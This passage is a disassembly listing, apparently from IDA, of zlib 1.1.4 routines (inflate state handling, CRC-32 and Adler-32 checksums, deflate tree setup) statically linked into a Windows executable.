dword ptr [ecx+4], 0 jnz short loc_4C0E55 mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0E55: ; CODE XREF: sub_4C0B75+2D6j mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx] xor edx, edx mov dl, [eax] shl edx, 8 mov eax, [ecx+8] add eax, edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 5 loc_4C0EB2: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C1222o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_4C0EC3 mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0EC3: ; CODE XREF: sub_4C0B75+344j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [eax] xor eax, eax mov al, [ecx] mov ecx, [edx+8] add ecx, eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [edx+8] mov [eax+30h], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 6 mov eax, 2 jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0F36: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C1226o mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Dh mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary" mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 0 mov eax, 0FFFFFFFEh jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0F63: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C122Ao mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_4C4F0F add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFDh jnz short loc_4C0FA4 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 0 jmp loc_4C1205 ; --------------------------------------------------------------------------- loc_4C0FA4: ; CODE XREF: sub_4C0B75+40Fj cmp [ebp+var_8], 0 jnz short loc_4C0FB0 mov eax, [ebp+arg_4] mov [ebp+var_8], eax loc_4C0FB0: ; CODE XREF: sub_4C0B75+433j cmp [ebp+var_8], 1 jz short loc_4C0FBE mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0FBE: ; CODE XREF: sub_4C0B75+43Fj mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] add eax, 4 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_4C4D60 add esp, 0Ch mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+0Ch], 0 jz short loc_4C1001 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ch jmp loc_4C1205 ; --------------------------------------------------------------------------- loc_4C1001: ; CODE XREF: sub_4C0B75+479j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 8 loc_4C100D: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C122Eo mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_4C101E mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C101E: ; CODE XREF: sub_4C0B75+49Fj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx] xor eax, eax mov al, [edx] shl eax, 18h mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 9 loc_4C1070: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C1232o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_4C1081 mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C1081: ; CODE XREF: sub_4C0B75+502j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [eax] xor eax, eax mov al, [ecx] shl eax, 10h mov ecx, [edx+8] add ecx, eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ah loc_4C10DE: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C1236o mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4C10EF mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C10EF: ; CODE XREF: sub_4C0B75+570j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+arg_0] mov edx, [ecx] xor ecx, ecx mov cl, [edx] shl ecx, 8 mov edx, [eax+8] add edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+8], edx mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Bh loc_4C114C: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C123Ao mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_4C115D mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C115D: ; CODE XREF: sub_4C0B75+5DEj mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx] xor edx, edx mov dl, [eax] mov eax, [ecx+8] add eax, edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ecx+4] cmp ecx, [eax+8] jz short loc_4C11E4 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check" mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+4], 5 jmp short loc_4C1205 ; --------------------------------------------------------------------------- loc_4C11E4: ; CODE XREF: sub_4C0B75+648j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ch loc_4C11F0: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C123Eo mov eax, 1 jmp short loc_4C120A ; --------------------------------------------------------------------------- loc_4C11F7: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C1242o mov eax, 0FFFFFFFDh jmp short loc_4C120A ; --------------------------------------------------------------------------- loc_4C11FE: ; CODE XREF: sub_4C0B75+5Aj mov eax, 0FFFFFFFEh jmp short loc_4C120A ; --------------------------------------------------------------------------- loc_4C1205: ; CODE XREF: sub_4C0B75+F2j ; sub_4C0B75+134j ... jmp loc_4C0BB3 ; --------------------------------------------------------------------------- loc_4C120A: ; CODE XREF: sub_4C0B75+22j ; sub_4C0B75+45j ... mov esp, ebp pop ebp retn sub_4C0B75 endp ; --------------------------------------------------------------------------- off_4C120E dd offset loc_4C0BDF ; DATA XREF: sub_4C0B75+63r dd offset loc_4C0CBA dd offset loc_4C0D73 dd offset loc_4C0DD6 dd offset loc_4C0E44 dd offset loc_4C0EB2 dd offset loc_4C0F36 dd offset loc_4C0F63 dd offset loc_4C100D dd offset loc_4C1070 dd offset loc_4C10DE dd offset loc_4C114C dd offset loc_4C11F0 dd offset loc_4C11F7 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+10h] mov [ebp-4], eax cmp dword ptr [ebp+8], 0 jz short loc_4C126A mov ecx, [ebp+8] cmp dword ptr [ecx+1Ch], 0 jz short loc_4C126A mov edx, [ebp+8] mov eax, [edx+1Ch] cmp dword ptr [eax], 6 jz short loc_4C1274 loc_4C126A: ; CODE XREF: .text:004C1254j ; .text:004C125Dj mov eax, 0FFFFFFFEh jmp loc_4C1300 ; --------------------------------------------------------------------------- loc_4C1274: ; CODE XREF: .text:004C1268j mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx push 1 call sub_4C16E0 add esp, 0Ch mov ecx, [ebp+8] cmp eax, [ecx+30h] jz short loc_4C1295 mov eax, 0FFFFFFFDh jmp short loc_4C1300 ; --------------------------------------------------------------------------- loc_4C1295: ; CODE XREF: .text:004C128Cj mov edx, [ebp+8] mov dword ptr [edx+30h], 1 mov eax, [ebp+8] mov ecx, [eax+1Ch] mov edx, 1 mov ecx, [ecx+10h] shl edx, cl cmp [ebp-4], edx jb short loc_4C12D8 mov eax, [ebp+8] mov ecx, [eax+1Ch] mov edx, 1 mov ecx, [ecx+10h] shl edx, cl sub edx, 1 mov [ebp-4], edx mov eax, [ebp+10h] sub eax, [ebp-4] mov ecx, [ebp+0Ch] add ecx, eax mov [ebp+0Ch], ecx loc_4C12D8: ; CODE XREF: .text:004C12B2j mov edx, [ebp-4] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] mov edx, [ecx+1Ch] mov eax, [edx+14h] push eax call sub_4C62F8 add esp, 0Ch mov ecx, [ebp+8] mov edx, [ecx+1Ch] mov dword ptr [edx], 7 xor eax, eax loc_4C1300: ; CODE XREF: .text:004C126Fj ; .text:004C1293j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h cmp dword ptr [ebp+8], 0 jz short loc_4C1319 mov eax, [ebp+8] cmp dword ptr [eax+1Ch], 0 jnz short loc_4C1323 loc_4C1319: ; CODE XREF: .text:004C130Ej mov eax, 0FFFFFFFEh jmp loc_4C1452 ; --------------------------------------------------------------------------- loc_4C1323: ; CODE XREF: .text:004C1317j mov ecx, [ebp+8] mov edx, [ecx+1Ch] cmp dword ptr [edx], 0Dh jz short loc_4C1347 mov eax, [ebp+8] mov ecx, [eax+1Ch] mov dword ptr [ecx], 0Dh mov edx, [ebp+8] mov eax, [edx+1Ch] mov dword ptr [eax+4], 0 loc_4C1347: ; CODE XREF: .text:004C132Cj mov ecx, [ebp+8] mov edx, [ecx+4] mov [ebp-14h], edx cmp dword ptr [ebp-14h], 0 jnz short loc_4C1360 mov eax, 0FFFFFFFBh jmp loc_4C1452 ; --------------------------------------------------------------------------- loc_4C1360: ; CODE XREF: .text:004C1354j mov eax, [ebp+8] mov ecx, [eax] mov [ebp-4], ecx mov edx, [ebp+8] mov eax, [edx+1Ch] mov ecx, [eax+4] mov [ebp-10h], ecx loc_4C1374: ; CODE XREF: .text:004C13D2j cmp dword ptr [ebp-14h], 0 jz short loc_4C13D4 cmp dword ptr [ebp-10h], 4 jnb short loc_4C13D4 mov edx, [ebp-4] xor eax, eax mov al, [edx] mov ecx, [ebp-10h] xor edx, edx mov dl, byte_4F2058[ecx] cmp eax, edx jnz short loc_4C13A1 mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax jmp short loc_4C13C0 ; --------------------------------------------------------------------------- loc_4C13A1: ; CODE XREF: .text:004C1394j mov ecx, [ebp-4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_4C13B5 mov dword ptr [ebp-10h], 0 jmp short loc_4C13C0 ; --------------------------------------------------------------------------- loc_4C13B5: ; CODE XREF: .text:004C13AAj mov eax, 4 sub eax, [ebp-10h] mov [ebp-10h], eax loc_4C13C0: ; CODE XREF: .text:004C139Fj ; .text:004C13B3j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx mov edx, [ebp-14h] sub edx, 1 mov [ebp-14h], edx jmp short loc_4C1374 ; --------------------------------------------------------------------------- loc_4C13D4: ; CODE XREF: .text:004C1378j ; .text:004C137Ej mov eax, [ebp+8] mov ecx, [ebp-4] sub ecx, [eax] mov edx, [ebp+8] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+8] mov [ecx+8], eax mov edx, [ebp+8] mov eax, [ebp-4] mov [edx], eax mov ecx, [ebp+8] mov edx, [ebp-14h] mov [ecx+4], edx mov eax, [ebp+8] mov ecx, [eax+1Ch] mov edx, [ebp-10h] mov [ecx+4], edx cmp dword ptr [ebp-10h], 4 jz short loc_4C1414 mov eax, 0FFFFFFFDh jmp short loc_4C1452 ; --------------------------------------------------------------------------- loc_4C1414: ; CODE XREF: .text:004C140Bj mov eax, [ebp+8] mov ecx, [eax+8] mov [ebp-8], ecx mov edx, [ebp+8] mov eax, [edx+14h] mov [ebp-0Ch], eax mov ecx, [ebp+8] push ecx call sub_4C0920 add esp, 4 mov edx, [ebp+8] mov eax, [ebp-8] mov [edx+8], eax mov ecx, [ebp+8] mov edx, [ebp-0Ch] mov [ecx+14h], edx mov eax, [ebp+8] mov ecx, [eax+1Ch] mov dword ptr [ecx], 7 xor eax, eax loc_4C1452: ; CODE XREF: .text:004C131Ej ; .text:004C135Bj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jz short loc_4C1474 mov eax, [ebp+8] cmp dword ptr [eax+1Ch], 0 jz short loc_4C1474 mov ecx, [ebp+8] mov edx, [ecx+1Ch] cmp dword ptr [edx+14h], 0 jnz short loc_4C147B loc_4C1474: ; CODE XREF: .text:004C145Dj ; .text:004C1466j mov eax, 0FFFFFFFEh jmp short loc_4C148D ; --------------------------------------------------------------------------- loc_4C147B: ; CODE XREF: .text:004C1472j mov eax, [ebp+8] mov ecx, [eax+1Ch] mov edx, [ecx+14h] push edx call sub_4C632F add esp, 4 loc_4C148D: ; CODE XREF: .text:004C1479j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, offset dword_4F205C pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C149A proc near ; CODE XREF: sub_490FB0+12p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_4C14AA xor eax, eax jmp loc_4C1673 ; --------------------------------------------------------------------------- loc_4C14AA: ; CODE XREF: sub_4C149A+7j mov eax, [ebp+arg_0] xor eax, 0FFFFFFFFh mov [ebp+arg_0], eax loc_4C14B3: ; CODE XREF: sub_4C149A+18Cj cmp [ebp+arg_8], 8 jb loc_4C162B mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4F205C[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov [ebp+arg_8], ecx jmp loc_4C14B3 ; --------------------------------------------------------------------------- loc_4C162B: ; CODE XREF: sub_4C149A+1Dj cmp [ebp+arg_8], 0 jz short loc_4C166D loc_4C1631: ; CODE XREF: sub_4C149A+1D1j mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] xor ecx, eax and ecx, 0FFh mov edx, [ebp+arg_0] shr edx, 8 mov eax, dword_4F205C[ecx*4] xor eax, edx mov [ebp+arg_0], eax mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx cmp [ebp+arg_8], 0 jnz short loc_4C1631 loc_4C166D: ; CODE XREF: sub_4C149A+195j mov eax, [ebp+arg_0] xor eax, 0FFFFFFFFh loc_4C1673: ; CODE XREF: sub_4C149A+Bj pop ebp retn sub_4C149A endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, offset a1_1_4_0 ; "1.1.4" pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2 sub eax, [ebp+8] mov eax, off_4EDE68[eax*4] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4C169E(int,size_t Size,int) sub_4C169E proc near ; DATA XREF: sub_4BE535+5Co ; sub_4C09F4+50o arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_4C16B5 mov eax, [ebp+arg_8] sub eax, [ebp+arg_8] mov ecx, [ebp+Size] add ecx, eax mov [ebp+Size], ecx loc_4C16B5: ; CODE XREF: sub_4C169E+7j mov edx, [ebp+arg_8] push edx ; int mov eax, [ebp+Size] push eax ; Size call sub_4CA24A add esp, 8 pop ebp retn sub_4C169E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C16C7 proc near ; DATA XREF: sub_4BE535+79o ; sub_4C09F4+6Do arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax call sub_4CA2FB add esp, 4 pop ebp retn sub_4C16C7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C16E0 proc near ; CODE XREF: .text:004BE878p ; sub_4BF90B+51p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] and eax, 0FFFFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] shr ecx, 10h and ecx, 0FFFFh mov [ebp+var_8], ecx cmp [ebp+arg_4], 0 jnz short loc_4C1710 mov eax, 1 jmp loc_4C1953 ; --------------------------------------------------------------------------- loc_4C1710: ; CODE XREF: sub_4C16E0+24j ; sub_4C16E0+265j cmp [ebp+arg_8], 0 jbe loc_4C194A cmp [ebp+arg_8], 15B0h jnb short loc_4C172B mov edx, [ebp+arg_8] mov [ebp+var_10], edx jmp short loc_4C1732 ; --------------------------------------------------------------------------- loc_4C172B: ; CODE XREF: sub_4C16E0+41j mov [ebp+var_10], 15B0h loc_4C1732: ; CODE XREF: sub_4C16E0+49j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov ecx, [ebp+arg_8] sub ecx, [ebp+var_C] mov [ebp+arg_8], ecx loc_4C1741: ; CODE XREF: sub_4C16E0+20Cj cmp [ebp+var_C], 10h jl loc_4C18F1 mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+3] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+4] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+5] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+6] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+7] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+8] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+9] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+0Ah] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+0Bh] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+0Ch] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+0Dh] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+0Eh] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+0Fh] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] add eax, 10h mov [ebp+arg_4], eax mov ecx, [ebp+var_C] sub ecx, 10h mov [ebp+var_C], ecx jmp loc_4C1741 ; --------------------------------------------------------------------------- loc_4C18F1: ; CODE XREF: sub_4C16E0+65j cmp [ebp+var_C], 0 jz short loc_4C1927 loc_4C18F7: ; CODE XREF: sub_4C16E0+245j mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jnz short loc_4C18F7 loc_4C1927: ; CODE XREF: sub_4C16E0+215j mov eax, [ebp+var_4] xor edx, edx mov ecx, 0FFF1h div ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] xor edx, edx mov ecx, 0FFF1h div ecx mov [ebp+var_8], edx jmp loc_4C1710 ; --------------------------------------------------------------------------- loc_4C194A: ; CODE XREF: sub_4C16E0+34j mov eax, [ebp+var_8] shl eax, 10h or eax, [ebp+var_4] loc_4C1953: ; CODE XREF: sub_4C16E0+2Bj mov esp, ebp pop ebp retn sub_4C16E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C1960 proc near ; CODE XREF: sub_4BE9C1+B7p arg_0 = dword ptr 8 push ebp mov ebp, esp call __initp_misc_winxfltr mov eax, [ebp+arg_0] add eax, 8Ch mov ecx, [ebp+arg_0] mov [ecx+0B10h], eax mov edx, [ebp+arg_0] mov dword ptr [edx+0B18h], offset off_4EDF18 mov eax, [ebp+arg_0] add eax, 980h mov ecx, [ebp+arg_0] mov [ecx+0B1Ch], eax mov edx, [ebp+arg_0] mov dword ptr [edx+0B24h], offset off_4EDF30 mov eax, [ebp+arg_0] add eax, 0A74h mov ecx, [ebp+arg_0] mov [ecx+0B28h], eax mov edx, [ebp+arg_0] mov dword ptr [edx+0B30h], offset dword_4EDF48 mov eax, [ebp+arg_0] mov word ptr [eax+16B0h], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+16B4h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+16ACh], 8 mov eax, [ebp+arg_0] push eax call sub_4C19FB add esp, 4 pop ebp retn sub_4C1960 endp ; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C19FB proc near ; CODE XREF: 